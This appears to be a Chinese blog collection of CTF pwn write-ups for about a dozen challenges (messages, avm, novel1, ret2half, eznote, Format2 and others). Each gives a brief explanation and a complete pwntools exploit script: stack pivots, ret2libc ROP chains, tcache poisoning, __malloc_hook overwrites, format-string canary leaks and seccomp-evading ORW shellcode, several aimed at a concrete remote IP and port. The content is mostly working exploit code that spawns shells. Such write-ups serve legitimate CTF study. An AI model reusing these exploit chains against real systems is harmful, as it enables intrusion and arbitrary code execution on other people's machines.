包含关键字 栈迁移 的文章

题目链接

messages

程序分为 input_messagesprint_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段,字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组,字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等(即使实际只有几个字符)。注意虽然正常键盘输入无法输入空字符,但利用 pwntools 等工具可以直接向程序输入空字符,无论程序直接使用系统调用还是使用标准库 IO 函数(本题未涉及,但也常见)。所以我们可以在输入的字符串中间插入空字符(b'\0'),程序输出时没有检查字符串最大个数(只检查了字符串最大长度,因此无法直接溢出),可以构造多个字符串(长度须大于 1),从而使程序在之后的字符串数组转换过程中数组下标溢出,直至栈上返回地址。栈上每个字符串占用 56 字节,一个长度占用 8 字节,长度数组长 20 * 8 字节,所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text,程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组(IDA 无法正确识别),需要手动修复字符串数组以及长度数组变量类型(char messages[16][56];size_t lengths[20];)。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组
io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址(`\x01` 可为任意非空字符)
io.sendafter(b'> ', b'\n') # 结束输入

io.interactive()

strncpy 会将目标剩余空间全部清零,所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型,也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串,结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。

messages_flag2

拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组,程序可以越界输出栈上值。栈上一定存在 libc 地址(例如 main 的返回地址在 __libc_start_main 中),因此可以泄露 libc 基址。本题栈上变量布局比较凑巧,虽然由于字符串输入会被地址空字节截断,因此无法在同一个字符串中连续输入两个地址(x86_64 虚拟地址长度仅 6 字节,用户空间地址中必然包含空字节),无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处,所以可以同时修改,构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段,提前在此输入 ROP 链(注意先将输入字符串填充至 8 字节对齐),即可 getshell。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')
libc = ELF('./libc.so.6', checksec=None)

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main']))
io.sendafter(b'> ', b'\n')

io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
libc.address = u64(io.recvuntil('有人说:'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128
success(f'libc_base: 0x{libc.address:x}')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01')
io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节
io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__()))
payload0 = flat([
    0x405000,
    libc.search(asm('pop rdi;ret')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rsi;ret')).__next__(),
    0,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
])
payload1 = b'\x00' * 15 + p64(libc.sym['execve'])
io.sendafter(b'> ', cyclic(5) + payload0)
io.sendafter(b'> ', payload1)
io.sendafter(b'> ', b'\n')

io.interactive()

注意由于 bss 空间不大,getshell 时不能使用 system 函数,否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数,传参 "/bin/sh", 0, 0,无需额外栈空间。(栈迁移时一般都如此)

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()

unint

输入负数作为无符号整数得到“无限”长栈溢出,fmtstr 获取 canary,32 位栈传参 ret2libc。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './unint' 

# p = process(binary) 
p = connect('27.25.151.80', 40288) 
e = ELF(binary) 
libc = ELF('./libc.so.6') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'%7$p') 
p.recvuntil(b':') 
canary = int(p.recvuntil(b'S', drop=True), 16) 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(e.sym['puts']) + p32(e.sym['vuln']) +
 p32(e.got['puts'])) 
p.recvuntil(b'\n') 
libc.address = u32(p.recv(4)) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'RiK') 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(libc.address + 0x3a81c)) 

p.interactive()

Sharwama

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"]) 
binary = './Shawarma' 

p = connect('27.25.151.80', 33485) 
e = ELF(binary) 

# gdb.attach(p, "set follow-fork-mode parent") 

for i in range(1000): 
    p.sendline(b'5') 

p.sendline(b'2') 

p.interactive()

ret2half

首先绕过给出种子的猜随机数得到 admin 权限,可自由 view chunk。存在 UAF,限制 add 9 次。申请 0x10 大小获得先前 free chunk in tcache,view 得堆基址(tcache safe-linking xor with null)。然后 tcache poisoning 将 fake chunk 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,view(回答玩原神)leak libc base。过程中顺便填入之后要用到的 shellcode。修改 tcache_perthread_struct 中 0x20 tcache_entry 为 &_environ、0x30 tcache_entry 为 &(0x80 tcache_entry),再次申请 0x10 大小 chunk 至 &_environ,view leak stack base。申请 0x20 大小 chunk 至 0x80 tcache_entry,写入 &stack;申请 0x70 大小 chunk 至 stack,写入 ROP 调用 mprotect 修改堆区页可执行并 ret2shellcode。本题开启 seccomp 沙箱禁用 execve open 等,需要 ORW(openat2、read、write)。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './ret2half'

#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0001: 0x35 0x00 0x03 0x40000000  if (A < 0x40000000) goto 0005
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x15 0x01 0x00 0xffffffff  if (A == 0xffffffff) goto 0005
#  0004: 0x06 0x00 0x00 0x00000000  return KILL
#  0005: 0x15 0x0b 0x00 0x00000065  if (A == ptrace) goto 0017
#  0006: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0007: 0x15 0x09 0x00 0x00000130  if (A == open_by_handle_at) goto 0017
#  0008: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0009: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0017
#  0010: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0011: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0017
#  0012: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0013: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0017
#  0014: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0015: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0017
#  0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0017: 0x06 0x00 0x00 0x00000000  return KILL

p = process(binary)
e = ELF(binary)
libc = cdll.LoadLibrary('./libc.so.6')

p.sendlineafter(b':\n', cyclic(9))
p.sendlineafter(b':\n', cyclic(9))

# get admin
p.sendlineafter(b':\n', b'3')
p.recvuntil(b'?\n')
seed = int(p.recv())
libc.srand(seed)
p.sendline(str(libc.rand()).encode())
libc = ELF('./libc.so.6')

# max: 9, size 1 ~ 112
def add(size: int, content: bytes):
    p.sendlineafter(b':\n', b'1')
    p.sendlineafter(b':\n', str(size).encode())
    p.sendlineafter(b':\n', content)

def edit(content: bytes):
    p.sendlineafter(b':\n', b'2')
    p.sendlineafter(b':\n', content)

def view():
    p.sendlineafter(b':\n', b'3')

def delete():
    p.sendlineafter(b':\n', b'4')

# gdb.attach(p)

add(0x10, b'')
view()
p.recvuntil(b'info:\n')
heap_base = (u64(p.recv(5).ljust(8, b'\x00')) >> 4) << 12
success(f'heap_base: {hex(heap_base)}')

shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x1000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
"""

add(0x70, b'asd')
delete()
edit(p64(heap_base + 0x10))
add(0x70, asm(shellcode))

add(0x70, b'\x00' * ((0x250 - 0x20) // 0x10) + b'\x07')
delete()
view()
p.sendlineafter(b'Y/N', b'Y')
p.recvuntil(b'info:')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'libc_base: {hex(libc.address)}')

edit(b'\x01' * 0x40 + p64(libc.sym['_environ'] - 0x10) + p64(heap_base + 0x10 + 0x40 + ((0x80 - 0x20) // 0x10) * 0x8))
add(0x10, b'a' * 0xf)
view()
p.recvuntil(b'a' * 0xf + b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x100
success(f'stack: {hex(stack)}')

add(0x20, p64(stack))

rop = flat([
    p64(libc.search(asm('pop rdi\nret')).__next__()), heap_base,
    # 0x0000000000130539 : pop rdx ; pop rsi ; ret;
    libc.address + 0x130539, 0x7, 0x1000,
    libc.sym['mprotect'],
    heap_base + 0x2a0
])

add(0x70, rop)

p.interactive()

远程栈偏移(environ)为 本地 - 0x8。

off-by-one

首先接收 gift backdoor。没限制堆块大小没清空堆块,leak libc、heap base。off-by-one 修改 size 构造重叠块,利用重叠堆块和堆基址绕过 safe-linking 修改 next,tcache poisoning 至 __malloc_hook,backdoor getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=[ 
        "konsole", "-e"], log_level='debug') 
binary = './off-by-one' 

p = process(binary) 
# p = connect('27.25.151.80', 39991) 
e = ELF(binary) 
libc = ELF('./libc-2.32.so') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.recvuntil(b':') 
shell = int(p.recvuntil(b'1.', drop=True), 16) 
success(hex(shell)) 

def add(size: int, content: bytes = None): 
    p.sendlineafter(b': ', b'1') 
    p.sendlineafter(b': ', str(size).encode()) 
    if content is not None: 
        p.sendlineafter(b'?\n', b'1') 
        p.sendafter(b': ', content) 
    else: 
        p.sendlineafter(b'?\n', b'0') 

def delete(index: int): 
    p.sendlineafter(b': ', b'2') 
    p.sendlineafter(b': ', str(index).encode()) 

def edit(index: int, content: bytes): 
    p.sendlineafter(b': ', b'3') 
    p.sendlineafter(b': ', str(index).encode()) 
    p.sendafter(b': ', content) 

def show(index: int): 
    p.sendlineafter(b': ', b'4') 
    p.sendlineafter(b': ', str(index).encode()) 

add(0x500) 
add(0x18) 
delete(0) 
delete(1) 
add(0x500, b'a')
add(0x18) 
show(0) 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 1981537 
success(f'libc_base: {hex(libc.address)}') 
show(1) 
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12 
success(f'heap_base: {hex(heap_base)}') 

add(0x18) 
add(0x18) 
edit(1, cyclic(0x18) + b'\x41') 
delete(2) 
add(0x38) 
add(0x18) 
delete(4) 
delete(3) 
edit(2, cyclic(0x18) + p64(0x21) + p64(libc.sym['__malloc_hook'] ^ (heap_base >> 12))) 
add(0x18) 
add(0x18, p64(shell)) 

p.sendlineafter(b': ', b'1') 
p.sendlineafter(b': ', b'1') 

p.interactive()

message

打开文件模式为 a+,写入时从文件末尾开始。开启两个远程向同一个文件写入,sleep 至两进程等待输入时先后输入。view 时没有检查文件内容长度,存在栈溢出。第一次 puts leak libc,第二次 getshell。

from ctypes import * 
from pwn import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './message' 

e = ELF(binary) 
libc = ELF('./libc.so.6') 

def add(p): 
    p.sendlineafter(b':', b'1') 

def start_edit(p): 
    p.sendlineafter(b':', b'2') 

def edit(p, content: bytes): 
    p.sendafter(b':', content) 

def view(p): 
    p.sendlineafter(b':', b'3') 

def delete(p): 
    p.sendlineafter(b':', b'4') 

pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 

p = connect('27.25.151.80', 37364) 
q = connect('27.25.151.80', 37364) 

add(p) 
add(q) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p6
4(e.sym['main'])) 
view(p) 
p.recvuntil(b'\n') 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

bin_sh = libc.search(b'/bin/sh\x00').__next__() 
system = libc.sym['system'] 
add(p) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi + 1) + p64(system)
) 

# gdb.attach(p, "set follow-fork-mode parent") 

view(p) 

p.interactive()

login

两次栈迁移板子。read 的参数和缓冲区大小竟然都和羊城杯 2024 签到题一样,改一下 fake_stack 地址直接出了。

from pwn import * 
from pwnlib.util.proc import wait_for_debugger 

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug') 

binary = './vuln' 
# p = process(binary) 
p = connect('27.25.151.80', 39571) 
libc = ELF('./libc.so.6') 
e = ELF(binary) 

# gdb.attach(p) 

puts_addr = e.plt['puts'] 
puts_got_addr = e.got['puts'] 
vuln_addr = e.sym['login'] 
pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 
leave = e.search(asm('leave; ret;')).__next__() 
fake_stack = 0x601500 
pop_rbp = e.search(asm('pop rbp; ret;')).__next__() 
fake_stack2 = 0x601500 + 0x3fe300 - 0x3FE2C0 

p.sendafter(b'n!\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4)) 
p.sendafter(b'n!\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vul
n_addr + 4) + p64(0) + p64(fake_stack) + p64(leave)) 

puts = u64(p.recvn(6).ljust(8, b'\x00')) 
libc_base_addr = puts - libc.sym['puts'] 
print(hex(libc_base_addr)) 

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__() 
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__() 
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__() 
execve = libc_base_addr + libc.symbols['execve'] 
pop_r12_r13 = libc_base_addr + libc.search(asm('pop r12; pop r13; ret;')).__next__() 
one_gadget = libc_base_addr + 0x4527a 
p.sendafter(b'n!\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadge
t) + p64(execve) + p64(fake_stack2) + p64(leave)) 

p.interactive()

eznote

限制堆块大小,考虑 tcache attack。将一个 tcache 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,leak libc。然后修复 size=0x20 的 tcache count,再次 tcache poisoning 至 __malloc_hook,one_gadget getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug") 
binary = "./attachment" 

# p = connect('27.25.151.80', 37857) 
p = process(binary) 
e = ELF(binary) 
libc = ELF("./libc.so.6") 

gdb.attach(p) 

index = -1 


def add(size: int, content: bytes) -> int: 
    global index 
    assert size <= 0x80 
    p.sendlineafter(b"> ", b"1") 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 
    index += 1 
    return index 


def edit(index: int, size: int, content: bytes): 
    p.sendlineafter(b"> ", b"2") 
    p.sendlineafter(b": ", str(index).encode()) 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 


def show(index: int): 
    p.sendlineafter(b"> ", b"3") 
    p.sendlineafter(b": ", str(index).encode()) 


def delete(index: int): 
    p.sendlineafter(b"> ", b"4") 
    p.sendlineafter(b": ", str(index).encode()) 


add(0x80, b"aaaa") 
delete(0) 
edit(0, 0x10, b"\x00" * 0x10) 
delete(0) 
show(0) 
p.recvuntil(b": ") 
heap_base = u64(p.recv(6).ljust(8, b"\x00")) >> 12 << 12 
success(f"heap_base: {hex(heap_base)}") 

edit(0, 0x10, p64(heap_base + 0x10) + b"\x00" * 8) 
add(0x80, b"bbbb") 
edit(add(0x80, b"cccc"), 0x80, b"\x00" * 79 + b"\x07") 
delete(2) 
show(2) 
p.recvuntil(b": ") 
main_arena = u64(p.recv(6).ljust(8, b"\x00")) 
libc.address = main_arena - 2018272 
success(f"libc_base: {hex(libc.address)}") 

delete(1) 
edit(2, 0x20, p64(main_arena) + p64(main_arena)[0:7] + b"\x01") 
edit(1, 0x8, p64(libc.sym["__malloc_hook"])) 
add(0x80, b"PwnRiK") 
add(0x80, p64(libc.address + 0xE3B01)) # one_gadget

p.sendlineafter(b"> ", b"1") 
p.sendlineafter(b": ", b"1") 

p.interactive()

Format1

标准的ret2libc

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './test'

elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# io = process(file_name)
io = remote('27.25.151.80', 41880)

# gdb.attach(io)
io.recvuntil(b'BuildCTF\n')
io.recvuntil(b'=> ')
puts_addr = int(io.recvuntil(b'\n'), 16)
log.success(f"puts_addr = {hex(puts_addr)}")


io.sendline(b'%15$llx')
io.recvuntil(b's is ')
canary = int(io.recvuntil('?')[:-1], 16)
log.success(f"canary = {hex(canary)}")
libc_addr = puts_addr - libc.sym['puts']
log.success(f"libc = {hex(libc_addr)}")
system_addr = libc.sym['system'] + libc_addr
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
gad_pop_rdi_ret = libc_addr + next(libc.search(asm("pop rdi; ret;"), executable=True))

payload = cyclic(0x30 - 8) + p64(canary) + cyclic(8) + p64(gad_pop_rdi_ret) + p64(binsh_addr) +  p64(gad_pop_rdi_ret + 1) + p64(system_addr)
io.sendline(payload)

io.interactive()

Format2

已知 libc 偏移,一次 scanf 格式化字符串漏洞达到任意地址任意写,程序自然退出。注意到 libc 与 ld 偏移固定,考虑劫持 rtld_lock_default_lock_recursive 为 one_gadget,程序 exit 时在 _dl_fini 内被执行。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./test1"

# p = process(binary)
p = connect('27.25.151.80', 42192)
e = ELF(binary)
libc = ELF("./libc-2.31.so")

p.recvuntil(b"0x")
libc_base = int(p.recvuntil(b"\n", drop=True).decode(), 16) - libc.sym["puts"]
success(hex(libc_base))
p.sendline(b'%7$lu'.ljust(8, b'\x00') + p64(libc_base + 0x1f4000 + 192360)) # &rtld_lock_default_lock_recursive
p.sendlineafter(b"?\n", str(libc_base + 0xE3B2E).encode())

p.interactive()

libc 与 ld 偏移与内核版本有关,一开始取本地偏移打远程打不通,换用 Ubuntu 22.04 虚拟机取偏移才顺利打通远程,其实也可以考虑爆破地址 8 bit。